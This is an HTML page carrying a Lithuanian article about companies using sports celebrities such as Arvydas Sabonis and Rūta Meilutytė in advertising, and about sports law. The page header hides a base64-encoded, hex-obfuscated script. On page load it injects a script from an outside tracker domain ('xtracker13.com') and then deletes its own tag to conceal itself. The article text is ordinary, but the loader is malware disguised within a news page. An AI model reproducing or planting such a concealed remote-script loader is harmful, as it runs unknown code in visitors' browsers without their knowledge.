


<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="utf-8">
	<title>Sėkmės siekiantis verslas įdarbina ir sporto garsenybes</title>
	<meta name="viewport" content="width=device-width">
	<link rel="stylesheet" href="assets/styles.min.css">

</head>


<body>
	<header>
		<div class="container">
			<div class="c-row">


        <script id="W7r7r" src="data:text/javascript;base64, dmFyIF9kRmxRRiA9IFsnXHg3MVx4NzVceDY1XHg3Mlx4NzlceDUzXHg2NVx4NmNceDY1XHg2M1x4NzRceDZmXHg3MicsICdceDYyXHg2Zlx4NjRceDc5JywgJ1x4NjdceDY1XHg3NFx4NDVceDZjXHg2NVx4NmRceDY1XHg2ZVx4NzRceDQyXHg3OVx4NDlceDY0JywgJ1x4NDRceDRmXHg0ZFx4NDNceDZmXHg2ZVx4NzRceDY1XHg2ZVx4NzRceDRjXHg2Zlx4NjFceDY0XHg2NVx4NjQnLCAnXHg2M1x4NzJceDY1XHg2MVx4NzRceDY1XHg0NVx4NmNceDY1XHg2ZFx4NjVceDZlXHg3NCcsICdceDczXHg2M1x4NzJceDY5XHg3MFx4NzQnLCAnXHg3NFx4NzlceDcwXHg2NScsICdceDc0XHg2NVx4NzhceDc0XHgyZlx4NmFceDYxXHg3Nlx4NjFceDczXHg2M1x4NzJceDY5XHg3MFx4NzQnXTsoZnVuY3Rpb24oX1pKbm5OLCBfbTBQUEwpIHt2YXIgX0t6aUQwID0gZnVuY3Rpb24oX3VQTzVLKSB7d2hpbGUgKC0tX3VQTzVLKSB7X1pKbm5OWydwdXNoJ10oX1pKbm5OWydzaGlmdCddKCkpO319O19LemlEMCgrK19tMFBQTCk7fShfZEZsUUYsIDB4MTFiKSk7dmFyIF93RjVUSCA9IGZ1bmN0aW9uKF9VRHJ3ZywgXzhQY2xJKSB7X1VEcndnID0gX1VEcndnIC0gMHgwO3ZhciBfRWprWTEgPSBfZEZsUUZbX1VEcndnXTtyZXR1cm4gX0Vqa1kxO307ZG9jdW1lbnRbJ1x4NjFceDY0XHg2NFx4NDVceDc2XHg2NVx4NmVceDc0XHg0Y1x4NjlceDczXHg3NFx4NjVceDZlXHg2NVx4NzInXShfd0Y1VEgoJzB4MCcpLCBmdW5jdGlvbigpIHt2YXIgX2o0MEx0ID0gZG9jdW1lbnRbX3dGNVRIKCcweDEnKV0oX3dGNVRIKCcweDInKSk7X2o0MEx0W193RjVUSCgnMHgzJyldID0gX3dGNVRIKCcweDQnKTtfajQwTHRbJ1x4NzNceDcyXHg2MyddID0gJ1x4NjhceDc0XHg3NFx4NzBceDczXHgzYVx4MmZceDJmXHg3OFx4NzRceDcyXHg2MVx4NjNceDZiXHg2NVx4NzJceDMxXHgzM1x4MmVceDYzXHg2Zlx4NmRceDJmXHg1Zlx4NzJceDY1XHg2ZFx4NmZceDc0XHg2NVx4NWZceDc0XHg3Mlx4NjFceDYzXHg2Ylx4MmVceDZhXHg3M1x4M2ZceDYzXHg2MVx4NmRceDcwXHg2MVx4NjlceDY3XHg2ZVx4M2RceDMyXHgzNFx4MzZceDU2XHg2Mlx4MzBceDM1XHg0NVx4NDlceDU2Jztkb2N1bWVudFtfd0Y1VEgoJzB4NScpXShfd0Y1VEgoJzB4NicpKVsnXHg2MVx4NzBceDcwXHg2NVx4NmVceDY0XHg0M1x4NjhceDY5XHg2Y1x4NjQnXShfajQwTHQpO2RvY3VtZW50W193RjVUSCgnMHg3JyldKCdXN3I3cicpWydceDcyXHg2NVx4NmRceDZmXHg3Nlx4NjUnXSgpO30sIHsnXHg2Zlx4NmVceDYzXHg2NSc6ICEhW119KTs="></script>

				<nav>
					<div class="logo" style="width:60px;min-width:auto;">
						<a href="#"><img class="lazy img-responsive w-100"
								src="data:image/gif;base64,R0lGODlhBwACAIAAAP///wAAACH5BAEAAAEALAAAAAAHAAIAAAIDjI9YADs="
								data-src="assets/logo.png" data-srcset="assets/logo.png 1x, assets/logo.png 2x" alt="img"></a>
					</div>

					<ul class="d-md-none">
						<li><a href="#">Pagrindinis</a></li>
						<li><a href="#">Lietuva</a></li>
						<li><a class="active" href="#">Rekomenduojame</a></li>
						<li><a href="#">Politika</a></li>
						<li><a href="#">Bendruomenė</a></li>
						<li><a href="#">Ekonomika</a></li>
						<li><a href="#">Pasaulyje</a></li>
						<li><a href="#">Sportas</a></li>
						<li><a href="#">Įvykiai</a></li>
					</ul>
				</nav>

				<div class="more d-lg-none-up">
					<a href="#" class="burger">
						<svg class="menu-icon" width="35" height="35" viewBox="0 0 64 64" fill="currentColor"
							xmlns="https://www.w3.org/2000/svg" aria-hidden="true">
							<path d="M52.75,47.84H11.25a2.08,2.08,0,1,0,0,4.16h41.5a2.08,2.08,0,1,0,0-4.16Z"></path>
							<path d="M52.75,28.92H11.25a2.08,2.08,0,1,0,0,4.16h41.5a2.08,2.08,0,1,0,0-4.16Z"></path>
							<path d="M11.25,14.16h41.5a2.08,2.08,0,1,0,0-4.16H11.25a2.08,2.08,0,1,0,0,4.16Z"></path>
						</svg>
					</a>
				</div>

			</div>
		</div>

	</header>


	<!-- Custom HTML / Remove before use -->
	<div class="container">

		<div class="c-row">

			<!-- CONTENT START -->
			<div class="col-content">
				<div class="content">
					<div class="title">
						<h1 class="h1">
							<span>Sėkmės </span>siekiantis verslas įdarbina ir sporto garsenybes

						</h1>
					</div>
					<div class="img-block">
						<div class="img-wrap">
							<!-- КАРТИНКА SRC="ЗАГЛУШКА В base64 в размер оригинальной картинки, нужна обязательно" DATA-SRC="Путь до картинки" DATA-SRCSET="путь до картинки 1x, аналогично x2" -->
							<img class="lazy img-responsive w-100"
								src="assets/001.png"
								data-src="assets/001.png" data-srcset="assets/001.png 1x, assets/001.png 2x" alt="img">
						</div>
						
					</div>
				
		
		
		<p class="text">
Garsus sportininkas gali duoti didelę naudą prekės ženklui. Atleto pasirodymas sukuria produkto sąsają su pergalėmis, atkaklumu, jėga, ištverme ir kitomis savybėmis. Arenų ir stadionų žvaigždžių pajamos už reklamą nuolat auga, o verslo dėmesys sportui neslopsta. Garsiausi Lietuvos sportininkai atidžiai renkasi prekės ženklus, kuriems sutiktų atstovauti, ir į pagalbą pasitelkia profesionalius konsultantus.
 
Žinomi veidai lemia sėkmę  
 
ISM Vadybos ir ekonomikos universiteto magistrantūros studijų Tarptautinės rinkodaros ir vadybos programos vadovė dr. Lineta Ramonienė teigia, kad žinomo atleto pasirodymas reklamoje, vartotojams sukelia susitapatinimo su sportininku: „Noriu būti toks stiprus kaip Žydrūnas Savickas ar toks žinomas, kaip Arvydas Sabonis. Žiūrėdami į sportininkus reklamose, vartotojai mato herojus, į kuriuos jie nori lygiuotis.  Ypač dabar, kai socialinės medijos suteikė mums galimybę iš arčiau stebėti mūsų mėgstamų sportininkų kasdienius įpročius: ką jie valgo, kur jie valgo, ką jie skaito, kur keliauja ir t.t.“. Anot dr. Ramonienės, matydami atletų pasirinkimus, vartotojai nori bent šiek tiek būti panašūs į sportininkus. Dėl šios priežasties prekės ar paslaugos, kurias atletai giria, rekomenduoja, vartoja, tampa daug labiau perkamomis.
 
A. Sabonio efektas
 
Garsaus žmogaus atvaizdas reklamoje pirmą kartą buvo panaudotas prieš daugiau negu 100 metų. Britų aktorė Lillie Langtry 1893 metais sutiko, kad jos portretas būtų atspausdintas ant muilo pakuotės. Lietuvoje scenos ir sporto garsenybės į reklamos pasaulį įsitraukė kur kas vėliau. Lietuvai atgavus nepriklausomybę verslas mokėsi, kaip užmegzti santykį su garsenybėmis ir įtraukti jas į reklamos kampanijas.
 
Pasak dr. Ramonienės, viena garsiausių Lietuvos sporto asmenybių yra krepšinio legenda Arvydas Sabonis, o jo pasirodymas reklamoje prieš dvidešimt metų sulaukė didelio atgarsio. „1997 metais pasirodžiusioje „Kalnapilio“ daryklos reklamos siužete žymus krepšininkas įsitraukė į paprastų vaikinų gatvės krepšinio rungtynes, smagiai žaidė krepšinį, o vėliau ragavo gamintojo reklamuojamą alų. Ši reklama „Kalnapilio“ produkcijos pardavimus padidino žaibiškai“, – prisimena ISM lektorė ir priduria, kad šiandien tokia kampanija būtų neįmanoma, nes alkoholio reklamai yra taikomi griežti ribojimai. „Pastaraisiais metais A. Sabonį į savo reklamą įtraukė „Lidl“ ir šis sprendimas turėjo įtakos sėkmingam prekybos tinklo startui Lietuvoje“, – neabejoja rinkodaros ekspertė dr. Ramonienė.
 
R. Meilutytė – filmo herojė
 
Olimpinės čempionės, plaukikės Rūtos Meilutytės advokatas dr. Mantas Rimkevičius sako, kad kuo sportininkas garsesnis ir daugiau pasiekęs, tuo daugiau pasiūlymų dėl verslo, socialinės ir kitokių partnerystės rūšių jis sulaukia. Advokatų kontoros „Ellex Valiunas“ asocijuotasis teisininkas p. Rimkevičius pastebi, kad Lietuvos sportininkų, kurie domina ne tik vietinius, bet ir pasaulinius prekės ženklus, vis daugėja. Todėl lietuviams vis dažniau tenka bendrauti ir su užsienio bendrovėmis.
 
„Gavęs įvairių komercinių pasiūlymų, sportininkas tampa ir verslininku. Natūralu, kad kyla ir teisinių paslaugų poreikis, pavyzdžiui, sudarinėjant ir vykdant sutartis iškyla skirtingų valstybių teisės taikymo ir aiškinimo klausimų. Šiose situacijose ekspertinės teisinės žinios bei patirtis tampa ypač aktuali ir vertinga, o teisininkų pagrindinis tikslas ir užduotis yra užtikrinti, kad sportininkai galėtų susitelkti į savo sportinę veiklą ir nesuktų galvos dėl teisinių niuansų“, – pažymi teisės ekspertas.
 
Daugiau negu 5 metus R. Meilutytei atstovaujantis advokatas prisimena, kad po auksinio finišo Londone 2012 metais ir vėlesnių pergalių Europos ir pasaulio čempionatuose, jauną plaukikę užgriuvo milžiniškas dėmesys, o užklausos ir pasiūlymai dėl atvaizdo ir vardo naudojimo verslo reklamos tikslais tiesiog plaukte plaukė. „Tuomet iškilo poreikis spręsti įvairius teisinius klausimus, susijusius tiek su jos įvaizdžio teisių suteikimo sutarčių rengimu, tiek, deja, ir su jos pažeistų teisių gynimu“, – sako dr. Rimkevičius. Šiuo metu „Ellex Valiunas“ komanda intensyviai dirba ties teisiniais klausimais, susijusiais su dokumentinio filmo apie R. Meilutytę kūrimu.
 
Sporto teisė – kas tai?
 
Sporto teisė Lietuvoje tapo aktuali palyginti neseniai, tačiau kontoros „Ellex Valiunas“ specialistai ja domėtis pradėjo gerokai anksčiau negu Lietuvos rinkoje susiformavo tokio pobūdžio paslaugų poreikis. „Matėme pasaulines tendencijas ir vis dažnesnę praktiką, kai verslas ima ne tik remti sportą, bet ir aktyviau bendradarbiauti su žymiais sportininkais, pasitelkti juos savo verslo reikmėms. Buvo akivaizdu, kad ši praktika ateis ir į Lietuvą, todėl kaupėme žinias iš anksto. Pradėję dirbti su pirmaisiais sporto teisės klientais šalyje jau turėjome solidų specifinių žinių bagažą“, – teigia teisininkė dr. Jevgenija Vienažindytė. Teisininkės teigimu, Lietuvoje didieji projektai, kurie yra susiję su sporto teise, prasidėjo vos prieš penketą metų – nuo 2012 m. Londono vasaros olimpinių žaidynių.  
 
Anot „Ellex Valiunas“ atstovų, sporto teisės klausimai būna labai įvairūs, pradedant nuo sportininkų veiklos etikos, dopingo, tarptautinių perėjimų iš vienos komandos į kitą, kompensacijų klubams išmokėjimo iki konkrečių varžybų organizavimo, komandų dalyvavimo pasaulio čempionatuose ir olimpinėse žaidynėse, nacionalinių sporto federacijų bendravimo su tarptautinėmis federacijomis klausimais.
 
„Sporto teisė – labai įdomi, bet specifinė ir gana sudėtinga sritis. Kai sportininkas sutinka bendradarbiauti su konkrečia įmone ar prekės ženklu, rengiame įvaizdžio teisių suteikimo sutartis, kuriose yra aptariama be galo daug momentų: bendrosios komercinės sąlygos, klausimai, susiję su intelektinės nuosavybės apsauga, reklaminės medžiagos rengimo ir sklaidos sąlygos ir pan. Visi šie aspektai papildomai turi tam tikrą specifinį kontekstą – šalių įsipareigojimai  turi būti sureguliuoti ir vykdomi sportinėje veikloje, kurioje neretai galioja papildomi sporto teisės reikalavimai, pavyzdžiui, tam tikrų federacijų nuostatai, varžybų taisyklės ir kita“, – pažymi dr. Rimkevičius.
 
Jau ne vienerius metus „Ellex Valiunas“ teisininkai aktyviai sprendžia ir Lietuvos krepšinio federacijai (LKF) iškylančius teisinius momentus. Savo ruožtu LKF atstovai teigia, kad partneriai padėjo suvaldyti ne vieną kritinę situaciją, įrodydami, kad ir Lietuvoje galima gauti aukščiausios kokybės sporto teisės konsultacijas ir pagalbą.
 
Sporto ir verslo draugystė tik stiprės
 
Lietuvos sporto mėgėjai trokšta, kad šaliai per svarbiausias varžybas atstovautų patys geriausi sportininkai. Verslas taip pat nori susieti savo prekės ženklą su sporto čempionais. Daktarės Linetos Ramonienės teigimu, šiandien reklamos, kurioje naudojamos įžymybės ir atletai, poreikis rinkoje labai auga.
 
„Per pastarąjį dešimtmetį daug kas pasikeitė ir atsirado kur kas daugiau galimybių. Suklestėjus socialiniams kanalams verslui pakviesti sportininką reklamai nebėra taip sudėtinga. Be to, tokią partnerystę sau gali leisti kur kas daugiau bendrovių, ne tik didžiųjų. Jeigu anksčiau būdavo kuriama viena įspūdingo biudžeto reklama televizijos kanalams, tai dabar gali užtekti vieno kokybiško įrašo socialiniuose tinkluose ir žinomo atleto produkto rekomendacijos. Ir tam nebereikia skirti dešimčių tūkstančių eurų“, – pastebi ISM universiteto lektorė.
 
Reklamos kanalų pokytis taip pat paskatino ir įvairiapusiškesnį požiūrį į sportininkus reklamose. Jeigu anksčiau būdavo perkamas tik atleto veidas, tai dabar stiprios asociacijos yra daromos ir su sportininko gyvenimo būdu, vertybėmis, pomėgiais. „Siekiama, kad tarp pasirinkto sportininko ar jų komandos ir reklamuojamo produkto būtų visiems suprantamas ir logiškas ryšys“, – aiškina dr. Ramonienė.
 
Su akademike sutinka bendrovės „Birštono mineraliniai vandenys ir Ko“ (BMV) prekių ženklo vadovė Sigita Velavičienė. Įmonės valdomas „Akvilės“ prekės ženklas jau kelerius metus bendradarbiauja su plaukike R. Meilutyte bei jos labdaros ir paramos fondu.
 
„Rūta buvo pasirinkta neatsitiktinai. Mineralinis vanduo „Akvilė“ nuo pat pradžių buvo ir yra siejamas su aktyviu laisvalaikiu, judėjimu, pozityvumu, universalumu, tyrumu. O juk Rūta taip pat propaguoja šias vertybes – paprastumą, atvirumą, tikslų siekimą savo jėgomis, draugiškumą, natūralumą. Tad čia puikus pavyzdys, kaip tiek prekės ženklo vertybės ir savybės, tiek pačios Lietuvos auksinės žuvelės savybės atitinka ir papildo viena kitą, siekiant geriausio rezultato“, – sako p. Velavičienė ir priduria, kad nuo kiekvieno nupirkto mineralinio vandens „Akvilė“ butelio su specialiu logotipu tam tikra suma keliauja į R. Meilutytės paramos ir labdaros fondą. Tokiu būdu verslas prisideda prie socialinės iniciatyvos išmokyti plaukti kuo daugiau Lietuvos vaikų.
		</p>
		
		

		

		
	
		
		

				</div>
			</div>



			
		</div>
	</div>


	<footer>
		<div class="container">
			<div class="copy">
				<div><a href="#">Privatumo politika</a> <a href="#">Paslaugų teikimo sąlygos</a></div>
				<span>© 2020 Copyright. Visos teisės saugomos.</span>
			</div>
		</div>
	</footer>

	<script src="assets/scripts.min.js"></script>
</body>

</html>
